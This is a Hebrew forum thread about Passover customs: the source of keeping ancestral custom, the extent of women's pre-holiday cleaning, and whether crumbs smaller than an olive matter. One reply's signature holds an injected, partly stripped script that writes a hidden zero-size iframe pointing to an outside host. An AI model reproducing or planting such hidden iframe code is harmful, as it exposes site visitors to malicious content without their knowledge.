בית פורומים עצור כאן חושבים

פסח - אל תיטוש וכל מה שקשור ...אשמח לשמוע קצת מן המקורות

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-12/3/2011 23:26 לינק ישיר 
פסח - אל תיטוש וכל מה שקשור ...אשמח לשמוע קצת מן המקורות

 

v      מה המקור של אל תיטוש

v      מה עניין הניקיון של הנשים לענות את כל המשפחה

v      האם אי אפשר להוציא מליבם של צדוקים(הנשים) שבכדי להיכשל בחמץ צריך למצוא עוגת גבינה "נוצצת" ???

v      מה עניין שמיטה בהר סיני (אל תיטוש)

v      מה הרעיון התלמודי בפסח (על פי המקורות) יכול להיות מאד מעניין

v      פסק החיי אדם ליטול את חיי האדם בפסח (האיסור לאכול תפוחי אדמה בפסח )

v      וכן אם לא קיבלו את פסק החיי אדם בגלל קושי התמודדות ..למה לא הורידו את כל העודפים ביחד עם זה




דווח על תוכן פוגעני

מחובר
נשלח ב-2/4/2018 07:32 לינק ישיר 

מקור מנהג הניקיונות לפסח של הנשים הצעירות הוא מנהגן של הנשים הזקנות, ואף שאין לו מקור, אסור לבטלו. חפש בגוגל "מנהג הנשים הזקנות", ודי לחכם.

תוקן על ידי נישטאיך ב- 02/04/2018 07:40:23




דדווח על תוכן פוגעני

מנותק
נשלח ב-2/4/2018 07:26 לינק ישיר 



תוקן על ידי נישטאיך ב- 02/04/2018 07:42:37




דדווח על תוכן פוגעני

מנותק
נשלח ב-27/3/2018 11:53 לינק ישיר 

מיימוני כתב:

שוביניסט


ברוך הבא אל הפורום!

העלית כמה שאלות גדולות הראויות לדיון.

חבל רק שלא עיינת באשכול חוקת הפורום למשתתפים חדשים, ואז היית מגלה שצריך להפנות את האשכול לבדיקה של אחד המנהלים...

עם זאת, כיון שכבר ענו לך, ננסה לעשות סדר. אני חוזר קצת על דברי קודמי לשם הסדר.

שאלת:

מה המקור של אל תיטוש

אני משער שכוונת לכלל שהביאו "אל תיטוש תורת אמך" בתור רמז לכך שצריך להישאר נאמן למנהגים. המקור לדבר הוא במעשה בתלמוד שלנו בבני בישן (בית שאן?) שהיו הוריהם רגילים להימנע מלצאת לים בערב שבת, אך הם ביקשו לעשות זאת. אמר להם ר' יוחנן לכבד מסורת אבות.

זה המקור. כיצד יש להבין אותו ועד כמה חייבים הבנים במנהגי אבותיהם ובאלו מנהגים מדובר, יש בכך דיון ארוך בראשונים ובאחרונים. יותר מכפי שאוכל לסכם בכמה שורות.

 מה עניין הניקיון של הנשים לענות את כל המשפחה

כמו כל יהודי, גם הנשים שלנו רוצות לא להיכשל בחמץ בפסח. אמנם, הן טורחות יותר מדי. הרי פירורים אין עוברים עליהם, ובכל זאת הן עובדות קשה.

יתכן שזה נובע ממה שמביאים בשם האר"י להיזהר מחמץ בפסח ואפילו במשהו. יתכן שהתערב כאן, בניקוי החמץ, גם משהו מ"נקיון האביב", שהינו תופעה לא רק יהודית בעונה זו. ברור שאין כוונת עקרת הבית לענות ולצער את בני ביתה. אבל כאשר מגזימים במעשה כלשהו ועוד חושבים שזו מצוה, באמת זו בעיה. אינך הראשון להתלונן וגם מסתבר שלא תהיה האחרון.

איך אפשר לתקן את המצב? אכן זו שאלה. כדי לתקן את המצב צריך ללמד אותן נשים מה ההלכה, מה הקדימויות הנכונות (יש דברים שקודמים להחמרה נטולת בסיס), אבל צריך לדעת איך לומר זאת כך שישמעו...

 וכן v      האם אי אפשר להוציא מליבם של צדוקים(הנשים) שבכדי להיכשל בחמץ צריך למצוא עוגת גבינה "נוצצת" ???

לא הבנתי את השאלה.

מה עניין שמיטה בהר סיני (אל תיטוש)

לא ברור לי מה שאלת. אבל ראה בסעיף א'.

v      מה הרעיון התלמודי בפסח (על פי המקורות) יכול להיות מאד מעניין

 שוב השאלה לא מובנת לי. האם כוונתך לברר כיצד למדו חז"ל את איסור חמץ בפסח?

v      פסק החיי אדם ליטול את חיי האדם בפסח (האיסור לאכול תפוחי אדמה בפסח )

 איני יודע לאיזה פסק של החיי אדם כוונתך. מן הראוי לצטטו ולציין את המקור המדוייק.

v      וכן אם לא קיבלו את פסק החיי אדם בגלל קושי התמודדות ..למה לא הורידו את כל העודפים ביחד עם זה

 ראה הערה קודמת.

בהצלחה.

 

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

 



כוונתו כנראה היא, שהרי כל מטרת הניקיון  בפסח הוא שמא ימצא גלוסקא נאה, ובלשונו 'עוגת גבינה נוצצת'', ויאכלנה, ולא לנקות כל פירור קטן.וגבי החיי אדם, ידוע שרצה לאסור ת0ו"א מטעם שמכינים מהם קמח ואתי לאייחלופי ויתירו קמח חיטה. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-22/4/2016 13:42 לינק ישיר 

מעיישה ניירא על גוי צדיק שמכרו לו את החמץ דקה לפני שחייבו אותו במיתה על ששמר את השבת.





http://bit.ly/1YKp6PL



דדווח על תוכן פוגעני

מחובר
נשלח ב-17/4/2016 15:26 לינק ישיר 




דדווח על תוכן פוגעני

מחובר
נשלח ב-17/4/2016 11:56 לינק ישיר 

ליטאי נכנס לרב שטיימן ושאל- עד כמה חמור הנקיון בחריצים  בין האריחים והבלטות?
השיב הרב- חמור חמור מאד, ולכן אין לסמוך על האשה שתעשה את זה. אתה בעצמך צריך להחמיר בעשיה וגם ביתר הנקיונות. אין לסמוך על האשה בדברים חמורים אלה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-17/4/2016 07:57 לינק ישיר 

https://db.tt/LANg9Qy8




דדווח על תוכן פוגעני

מנותק
נשלח ב-17/4/2016 05:30 לינק ישיר 

http://www.bhol.co.il/forums/topic.asp?topic_id=1343816&forum_id=1364

 אצלנו לא אוכלים את זה בפסח
______________

מנהגי המקום, האבות והזוגות

https://db.tt/LANg9Qy8



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/4/2016 17:33 לינק ישיר 

"כצד הנכון"



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/4/2016 16:51 לינק ישיר 

צריך להחמיר לפחות כצד הנכון, כלומר שכזית הוא כזית, לפחות בדאו'. אם רוצים להחמיר גם לצד השני ולאכול מצה כקופסת גפרורים, אז צריך לשאול על החמרה משני הכיוונים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-12/4/2016 16:19 לינק ישיר 

זה נכון, ועדיין:
א. גם גודל של זית נחשב פירור. לצורך העניין מדובר בגודל שגדול ממה שקוראים לו בשפת היום יום של ימינו "פירור". וק"ו לפחות מזה, וק"ו בן בנו של ק"ו למה שקוראים "פירור" בשפת היום יום של ימינו.
ב. גם אם נניח שאנו מחמירים, צריך להיות מודע לכך שאנו לוקחים לחומרא לשני הכיוונים, כי אם כזית זה גודל של זית בימינו - אז גם באכילת מצה זה מספיק, וזה הרבה פחות ממה שמקפידים עליו היום. ואם מחמירים לשני הכיוונים - אז קודם כל צריך לבדוק האם זו הנהגה נכונה, וגם אם כן להיות מודע למה שאתה עושה, ואם לא, או שאתה לא מחמיר - לדעת מה כן לעשות. כדאי לזכור את דברי הגמ' שההולך גם בחומרי בית שמאי וגם בחומרי בית הלל עליו נאמר "הכסיל בחושך הולך".



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/4/2016 16:10 לינק ישיר 

אתה לא יכול להוכיח מהשיעור המקובל כיום למה הגמרא התכוונה, וזאת מסיבה פשוטה - השיעור המקובל כיום הוא לא כזית. אמנם גם כזית ממש איננו מה שאנחנו קוראים פירור.



דדווח על תוכן פוגעני

מחובר
נשלח ב-12/4/2016 15:46 לינק ישיר 

פירורין ממילא בטלי""

אגב, נראה לי די ברור, שמעיקר הדין, אין על פירורים שנפלו על הרצפה דין של "חמץ בפסח במשהו", שהרי הגמרא בפירוש הסתפקה באמירה ש"פירורין ממילא בטלי". "חמץ בפסח במשהו" זה דין שנאמר על תערובת של חמץ שמיועדת לאכילה או לשימוש. (וגם אז, יש לדון עד כמה צריך להסתפק "שמא" יש בזה חמץ)

קישור1

קישור2 -

יש לציין, שהגמרא במקום אחר דנה בעניין "פירורין שאין בהן כזית" ו"פירורין שיש בהן כזית". כלומר, ההנחה הבסיסית בגמרא היא שהמונח "פירורין" נוגע בהחלט גם לחתיכות גדולות, עד כדי שלפעמים כשאומרים "פירורין" מתכוונים למשהו שיש בו כזית (להזכיר - לפי השיעור המקובל היום - כזית זה משהו בגודל קופסת גפרורים, ולפי המחמירים (חזו"א) אולי אפילו יותר. וכל זה עדיין נחשב "פירור". ועל "פירור" הגמרא אומרת "ממילא בטלי". אז אמנם בקישור שהבאתי יש דיון אם "ממילא בטלי" מדבר גם על פירורין שיש בהם כזית, אבל האפשרות הזאת היא הגיונית בהחלט. וק"ו חתיכות אפי' מורגשות, אבל קטנות מכזית, שזה מה שמפרש המאירי בפירוש בכוונת הגמרא בפסחים, שאיתם אין שום בעיה

 




דדווח על תוכן פוגעני

מנותק
נשלח ב-10/4/2016 09:48 לינק ישיר 

הנזהר ממשהו חמץ בפסח




דדווח על תוכן פוגעני

מנותק
נשלח ב-27/4/2011 11:06 לינק ישיר 

נתתי את דעתי הפסח על       מרור שאנו אוכלים בזמן הזה מדרבנן.!!!

_________________

מודה ועוזב




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > פסח - אל תיטוש וכל מה שקשור ...אשמח לשמוע קצת מן המקורות
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 ... 9 10 11 לדף הבא סך הכל 11 דפים.

bholext